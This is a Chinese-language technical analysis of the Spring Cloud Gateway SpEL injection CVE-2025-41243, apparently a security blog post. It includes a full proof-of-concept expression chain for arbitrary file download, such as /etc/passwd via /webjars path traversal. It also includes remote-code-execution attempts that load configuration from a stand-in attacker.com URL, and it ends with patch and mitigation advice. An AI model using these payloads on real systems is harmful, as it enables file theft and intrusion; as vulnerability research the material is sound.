深入CVE-2025-41243: Spring Cloud Gateway SpEL 从任意属性访问到任意文件下载
字数 3390 2025-10-01 14:05:44

CVE-2025-41243:Spring Cloud Gateway SpEL注入漏洞深入分析与利用

1. 漏洞概述

CVE编号:CVE-2025-41243
漏洞类型:SpEL (Spring Expression Language) 表达式注入
影响组件:Spring Cloud Gateway
漏洞评级:Critical (10.0分)
触发条件:在热更新路由配置时,攻击者能够控制路由配置中的参数值,并使其被解析为SpEL表达式。
最终影响:通过精心构造的SpEL表达式链,可实现任意文件读取,并在特定条件下可能影响系统配置。

2. 漏洞背景与历史

此漏洞是Spring Cloud Gateway历史上著名的SpEL注入漏洞(如CVE-2022-22947)的绕过。在之前的修复中,Spring官方将SpEL的执行上下文从功能强大的 StandardEvaluationContext 替换为限制严格的 SimpleEvaluationContext,并默认启用了 RestrictivePropertyAccessor(限制性属性访问器),旨在阻止任意代码执行。

3. 历史修复与限制分析

修复后的SpEL执行环境(GatewayEvaluationContext)设置了多重安全枷锁:

  1. Bean访问限制getBeanResolver() 返回 null,理论上无法通过 @beanName 访问Spring容器中的Bean。
  2. 类型转换限制getTypeConverter() 返回一个总会失败的定位器。
  3. 方法解析限制methodResolver 被设置为解析任何方法都返回 null
  4. 属性访问限制:使用了 RestrictivePropertyAccessor,极大限制了通过属性名对对象进行反射访问的能力。

然而,修复中存在一个关键的“泄洪口”:尽管对Bean的“属性”访问受到了限制,但对Bean“Map”的访问却未被有效管制。这意味着表达式如 @myMap['key'] 仍然可以读写Map中的值。

4. 漏洞核心利用原理

利用过程分为几个关键步骤,核心在于通过SpEL赋值表达式修改系统配置,逐步解除安全限制,最终操纵系统行为

步骤一:解除安全枷锁

首要目标是禁用 RestrictivePropertyAccessor。Spring Cloud Gateway提供了一个配置开关:spring.cloud.gateway.restrictive-property-accessor.enabled(默认为 true)。

利用Spring内置的 systemProperties (一个Map)可以动态修改系统属性:

#{@systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = 'false'}

执行此表达式后,RestrictivePropertyAccessor 被禁用,SpEL上下文会回退到限制更少的 SimpleEvaluationContext.forReadOnlyDataBinding()。此时,属性的读取限制被解除

步骤二:发现关键能力 - 任意无参方法调用

在解除属性读取限制后,漏洞研究取得了突破性进展。SpEL的属性访问器 (ReflectivePropertyAccessor) 在查找一个对象的属性时,有一个兜底策略:如果找不到标准的getter方法,它会尝试将属性名直接当作方法名进行查找和调用

这意味着,对于任何Bean,表达式 @someBean.someMethod 如果 someMethod 是一个公开的无参方法,那么该方法就会被调用!这提供了一个强大的原语:调用Spring容器中任何Bean的任何公开无参方法

步骤三:构造利用链 - 任意文件读取

拥有任意无参方法调用能力后,接下来的目标是在Spring Cloud Gateway的数百个Bean中寻找可利用的链。作者发现了以下利用链:

  1. 定位关键Bean:找到名为 resourceHandlerMapping 的Bean,其类型为 SimpleUrlHandlerMapping。它的 urlMap 属性存储了静态资源(如 /webjars/**)的路径映射。
  2. 篡改资源映射:通过Map访问修改静态资源处理器的位置,将其指向任意目录(如Windows系统盘)。
    #{ @resourceHandlerMapping.urlMap['/webjars/**'].locationValues[0] = 'file:///C:/'}
    
    注:locationValuesResourceWebHandler 的一个属性。
  3. 刷新配置生效:仅仅修改值可能不会立即生效,因为服务启动时计算的最终路径 locationsToUse 可能已被缓存。需要调用 ResourceWebHandlerafterPropertiesSet() 方法来重新解析路径。
    #{ @resourceHandlerMapping.urlMap['/webjars/**'].afterPropertiesSet()}
    

完整利用POC(文件读取)
攻击者通过在路由配置中注入以下表达式链,即可将 /webjars/ 路径映射到根目录,之后通过访问 http://gateway:port/webjars/../../etc/passwd 即可下载目标文件。

#{
  @systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = 'false',
  @resourceHandlerMapping.urlMap['/webjars/**'].locationValues[0] = 'file:///',
  @resourceHandlerMapping.urlMap['/webjars/**'].afterPropertiesSet()
}

步骤四:探索配置重载与RCE可能性

作者进一步尝试了更深入的利用,试图实现远程代码执行(RCE)。

  1. 尝试配置重载

    • 找到 refreshEndpoint Bean(需要spring-boot-starter-actuator依赖),其 refresh() 方法可以重载应用上下文。
    • 尝试通过SpEL设置 spring.config.import 属性来加载外部恶意配置,并触发刷新:
      #{
        @systemProperties['spring.config.import'] = 'optional:http://attacker.com/evil.yml',
        @refreshEndpoint.refresh()
      }
      
    • 问题:这会引发死循环,因为刷新时路由会重新加载,再次触发SpEL表达式执行。作者通过三元表达式设置标记位来避免:
      #{
        @systemProperties['okkk'] != 'true' ?
          (@systemProperties['okkk'] = 'true') + @refreshEndpoint.refresh() :
          'ok'
      }
      
    • 结果:高版本Spring Boot使用安全的YAML解析器,防止了通过配置文件实现的RCE。
  2. 尝试Logback配置注入

    • 尝试通过设置 logging.config 属性加载远程Logback配置,以触发RCE。
      #{@systemProperties['logging.config'] = 'http://127.0.0.1/evil.xml'}
      
    • 结果:Logback不会在上下文刷新时重新初始化,利用失败。
  3. 探索其他路径

    • 发现了 spring.cloud.gateway.discovery.locator 相关的Bean,其 setUrlExpressionsetIncludeExpression 方法设置的字符串会在后续被当作SpEL执行。但其执行上下文依然受限(forReadOnlyDataBinding + withInstanceMethods),无法访问Bean,难以利用。

5. 结论与总结

aspect 结论
漏洞根源 对SpEL上下文的修复不彻底,允许通过Bean Map访问和赋值操作修改系统属性,并结合ReflectivePropertyAccessor的“属性名即方法名”兜底策略实现任意无参方法调用。
实际影响 可稳定实现任意文件读取,从而泄露服务器上的敏感文件(如密钥、配置、源代码等)。
RCE可能性 在常规条件下极难实现。尽管发现了配置刷新的路径,但受限于现代Spring Boot的安全机制(安全YAML解析、Logback初始化机制),未能构造出可靠的RCE利用链。
漏洞特点 这是一个权限提升型漏洞。利用过程像是在逐步解开系统身上的绳索:先解除属性限制 -> 然后获得方法调用能力 -> 最后找到能改变系统行为的特定Bean链。

6. 修复建议

  1. 紧急升级:将所有受影响的Spring Cloud Gateway实例升级到官方已发布修复的版本。
  2. 补丁分析:官方修复方案是在构建 SimpleEvaluationContext 时增加了 .withAssignmentDisabled(),彻底禁用了SpEL的赋值表达式,从根本上切断了通过修改系统属性来绕过限制的路径。
  3. 网络隔离:在生产环境中,严格限制Spring Cloud Gateway组件对互联网及内部敏感系统的访问权限,遵循最小权限原则。

CVE-2025-41243:Spring Cloud Gateway SpEL注入漏洞深入分析与利用 1. 漏洞概述 CVE编号 :CVE-2025-41243 漏洞类型 :SpEL (Spring Expression Language) 表达式注入 影响组件 :Spring Cloud Gateway 漏洞评级 :Critical (10.0分) 触发条件 :在热更新路由配置时,攻击者能够控制路由配置中的参数值,并使其被解析为SpEL表达式。 最终影响 :通过精心构造的SpEL表达式链,可实现 任意文件读取 ,并在特定条件下可能影响系统配置。 2. 漏洞背景与历史 此漏洞是Spring Cloud Gateway历史上著名的SpEL注入漏洞(如CVE-2022-22947)的绕过。在之前的修复中,Spring官方将SpEL的执行上下文从功能强大的 StandardEvaluationContext 替换为限制严格的 SimpleEvaluationContext ,并默认启用了 RestrictivePropertyAccessor (限制性属性访问器),旨在阻止任意代码执行。 3. 历史修复与限制分析 修复后的SpEL执行环境( GatewayEvaluationContext )设置了多重安全枷锁: Bean访问限制 : getBeanResolver() 返回 null ,理论上无法通过 @beanName 访问Spring容器中的Bean。 类型转换限制 : getTypeConverter() 返回一个总会失败的定位器。 方法解析限制 : methodResolver 被设置为解析任何方法都返回 null 。 属性访问限制 :使用了 RestrictivePropertyAccessor ,极大限制了通过属性名对对象进行反射访问的能力。 然而,修复中存在一个关键的“泄洪口”: 尽管对Bean的“属性”访问受到了限制,但对Bean“Map”的访问却未被有效管制 。这意味着表达式如 @myMap['key'] 仍然可以读写Map中的值。 4. 漏洞核心利用原理 利用过程分为几个关键步骤,核心在于 通过SpEL赋值表达式修改系统配置,逐步解除安全限制,最终操纵系统行为 。 步骤一:解除安全枷锁 首要目标是禁用 RestrictivePropertyAccessor 。Spring Cloud Gateway提供了一个配置开关: spring.cloud.gateway.restrictive-property-accessor.enabled (默认为 true )。 利用Spring内置的 systemProperties (一个Map)可以动态修改系统属性: 执行此表达式后, RestrictivePropertyAccessor 被禁用,SpEL上下文会回退到限制更少的 SimpleEvaluationContext.forReadOnlyDataBinding() 。此时, 属性的读取限制被解除 。 步骤二:发现关键能力 - 任意无参方法调用 在解除属性读取限制后,漏洞研究取得了突破性进展。SpEL的属性访问器 ( ReflectivePropertyAccessor ) 在查找一个对象的属性时,有一个兜底策略: 如果找不到标准的getter方法,它会尝试将属性名直接当作方法名进行查找和调用 。 这意味着,对于任何Bean,表达式 @someBean.someMethod 如果 someMethod 是一个公开的无参方法,那么该方法就会被调用!这提供了一个强大的原语: 调用Spring容器中任何Bean的任何公开无参方法 。 步骤三:构造利用链 - 任意文件读取 拥有任意无参方法调用能力后,接下来的目标是在Spring Cloud Gateway的数百个Bean中寻找可利用的链。作者发现了以下利用链: 定位关键Bean :找到名为 resourceHandlerMapping 的Bean,其类型为 SimpleUrlHandlerMapping 。它的 urlMap 属性存储了静态资源(如 /webjars/** )的路径映射。 篡改资源映射 :通过Map访问修改静态资源处理器的位置,将其指向任意目录(如Windows系统盘)。 注: locationValues 是 ResourceWebHandler 的一个属性。 刷新配置生效 :仅仅修改值可能不会立即生效,因为服务启动时计算的最终路径 locationsToUse 可能已被缓存。需要调用 ResourceWebHandler 的 afterPropertiesSet() 方法来重新解析路径。 完整利用POC(文件读取) : 攻击者通过在路由配置中注入以下表达式链,即可将 /webjars/ 路径映射到根目录,之后通过访问 http://gateway:port/webjars/../../etc/passwd 即可下载目标文件。 步骤四:探索配置重载与RCE可能性 作者进一步尝试了更深入的利用,试图实现远程代码执行(RCE)。 尝试配置重载 : 找到 refreshEndpoint Bean(需要 spring-boot-starter-actuator 依赖),其 refresh() 方法可以重载应用上下文。 尝试通过SpEL设置 spring.config.import 属性来加载外部恶意配置,并触发刷新: 问题 :这会引发死循环,因为刷新时路由会重新加载,再次触发SpEL表达式执行。作者通过三元表达式设置标记位来避免: 结果 :高版本Spring Boot使用安全的YAML解析器,防止了通过配置文件实现的RCE。 尝试Logback配置注入 : 尝试通过设置 logging.config 属性加载远程Logback配置,以触发RCE。 结果 :Logback不会在上下文刷新时重新初始化,利用失败。 探索其他路径 : 发现了 spring.cloud.gateway.discovery.locator 相关的Bean,其 setUrlExpression 和 setIncludeExpression 方法设置的字符串会在后续被当作SpEL执行。但其执行上下文依然受限( forReadOnlyDataBinding + withInstanceMethods ),无法访问Bean,难以利用。 5. 结论与总结 | aspect | 结论 | | :--- | :--- | | 漏洞根源 | 对SpEL上下文的修复不彻底,允许通过Bean Map访问和赋值操作修改系统属性,并结合 ReflectivePropertyAccessor 的“属性名即方法名”兜底策略实现任意无参方法调用。 | | 实际影响 | 可稳定实现任意文件读取 ,从而泄露服务器上的敏感文件(如密钥、配置、源代码等)。 | | RCE可能性 | 在常规条件下 极难实现 。尽管发现了配置刷新的路径,但受限于现代Spring Boot的安全机制(安全YAML解析、Logback初始化机制),未能构造出可靠的RCE利用链。 | | 漏洞特点 | 这是一个 权限提升型漏洞 。利用过程像是在逐步解开系统身上的绳索:先解除属性限制 -> 然后获得方法调用能力 -> 最后找到能改变系统行为的特定Bean链。 | 6. 修复建议 紧急升级 :将所有受影响的Spring Cloud Gateway实例升级到官方已发布修复的版本。 补丁分析 :官方修复方案是在构建 SimpleEvaluationContext 时增加了 .withAssignmentDisabled() ,彻底 禁用了SpEL的赋值表达式 ,从根本上切断了通过修改系统属性来绕过限制的路径。 网络隔离 :在生产环境中,严格限制Spring Cloud Gateway组件对互联网及内部敏感系统的访问权限,遵循最小权限原则。